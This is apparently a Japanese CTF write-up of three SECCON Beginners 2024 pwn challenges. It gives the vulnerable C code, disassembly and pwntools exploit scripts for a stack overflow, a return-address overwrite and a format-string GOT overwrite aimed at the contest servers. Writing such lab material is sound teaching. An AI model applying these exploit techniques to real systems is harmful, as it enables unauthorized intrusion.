はじめに
先日開催されたSECCON Beginner CTF 2024に参加しました。今回は解いたpwnableのWriteUpになります。
simpleoverflow
こちらは、題の通りシンプルなバッファオーバーフローを扱う問題です。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
bufが10バイトなのに対して、read関数では0x10バイト(=16バイト)分、標準入力から読んでいるので、bufに一定以上入力するとバッファオーバーフローしis_adminの値を書き換えてしまい、system("/bin/cat ./flag.txt");が実行されます。逆アセンブルしてみると、
0000000000401176 <main>:
401176: 55 push rbp
401177: 48 89 e5 mov rbp,rsp
40117a: 48 83 ec 10 sub rsp,0x10
40117e: 48 c7 45 f2 00 00 00 mov QWORD PTR [rbp-0xe],0x0
401185: 00
401186: 66 c7 45 fa 00 00 mov WORD PTR [rbp-0x6],0x0
40118c: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0
401193: 48 8d 05 6a 0e 00 00 lea rax,[rip+0xe6a]
となり、bufはメモリ上で[rbp-0xe]から[rbp-0x5]までの10バイト、is_adminは[rbp-0x4]から[rbp-0x1]までの4バイトに位置しているのが分かるので、bufに11バイト以上入力すればis_adminの値を書き換えることができそうです。また、is_adminは0以外の値になれば何でもflagが読めるため適当に入力を与えればflagを入手できます。
import pwn
host = "simpleoverflow.beginners.seccon.games"
port = 9000
io = pwn.remote(host=host,port=port)
print(io.recvuntil(b'name:'))
payload = pwn.flat(
b'A' * 11,
b'\n'
)
io.send(payload)
print(io.recvall(timeout=1))
io.close()
こちらでflagを入手できました。
simpleoverwrite
こちらもその題の通り、シンプルなリターンアドレスの書き換えになります。
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char buf[100];
FILE *f = fopen("./flag.txt", "r");
fgets(buf, 100, f);
puts(buf);
}
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\n", buf);
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
コードを読むと、bufが10バイトに対して、read関数で20バイト受け付けています。そのため、10バイト以上入力を与えるとバッファオーバーフローを起こします。そして、リターンアドレスを書き換えることで、win関数に処理を遷移させflagを入手することができます。また、問題で与えられたELFファイルはPIEが無効になっているので、win関数のアドレスに直接書き換えるだけで良さそうです。逆アセンブルすると、
0000000000401186 <win>:
と、win関数のアドレスは0x401186だと分かるので、リターンのアドレスをそれに書き換えます。また、
00000000004011cf <main>:
4011cf: 55 push rbp
4011d0: 48 89 e5 mov rbp,rsp
4011d3: 48 83 ec 10 sub rsp,0x10
4011d7: 48 c7 45 f6 00 00 00 mov QWORD PTR [rbp-0xa],0x0
4011de: 00
4011df: 66 c7 45 fe 00 00 mov WORD PTR [rbp-0x2],0x0
であり、bufにはメモリ上で[rbp-0xa]から[rbp-0x1]までの10バイトが割り当てられています。
import pwn
pwn.context.arch = 'x86-64'
host = 'simpleoverwrite.beginners.seccon.games'
port = 9001
addr = {}
addr['win'] = 0x401186
io = pwn.remote(host=host,port=port)
print(io.recvuntil(b'input:'))
payload = pwn.flat(
b'A' * 10,
pwn.pack(0),
pwn.pack(addr['win']),
b'\n'
)
io.send(payload)
print(io.recvall(timeout=1))
io.close()
こちらでflagを入手できました。
pure-and-easy
こちらは、FSBの問題です。FSBについてはこちらを参照してください。
https://qiita.com/hachan0179/items/ff6053039353dbf53d8f
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x100] = {0};
printf("> ");
read(0, buf, 0xff);
printf(buf);
exit(0);
}
void win() {
char buf[0x50];
FILE *fp = fopen("./flag.txt", "r");
fgets(buf, 0x50, fp);
puts(buf);
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
問題を見ると、先程のようなバッファオーバーフローはありませんが、printf関数でユーザーからの入力の文字列をそのまま第1引数として与えてしまっており、書式文字列攻撃(FSB)ができます。書き換える対象は、got上のexit関数のアドレスです。こちらを、win関数のアドレスに書き換えます。逆アセンブルから、
0000000000401341 <win>:
win関数のアドレスが0x401341だとわかります。また、gotのexit関数のアドレスはgdbや、IDAなどで調べてみると0x404040です。今回は、書き込む値が数値としてあまり大きくないので、愚直に0x401341(=4199233)個分空白文字を吐かせています。また、PIEも無効のためこの数値をそのまま使います。
import pwn
host = 'pure-and-easy.beginners.seccon.games'
port = 9000
pwn.context.arch = 'x86-64'
addr = {}
addr['win'] = 0x401341
addr['got_exit'] = 0x404040
io = pwn.remote(host=host,port=port)
print(io.recvuntil(b'> '))
msg = pwn.flat(
b'%' + str(addr['win']).encode() + b'c',
b'%8$n ',
pwn.pack(addr['got_exit']),
b'\n'
)
io.send(msg)
print(io.recvall(timeout=3))
io.close()
こちらで、flagを入手できました。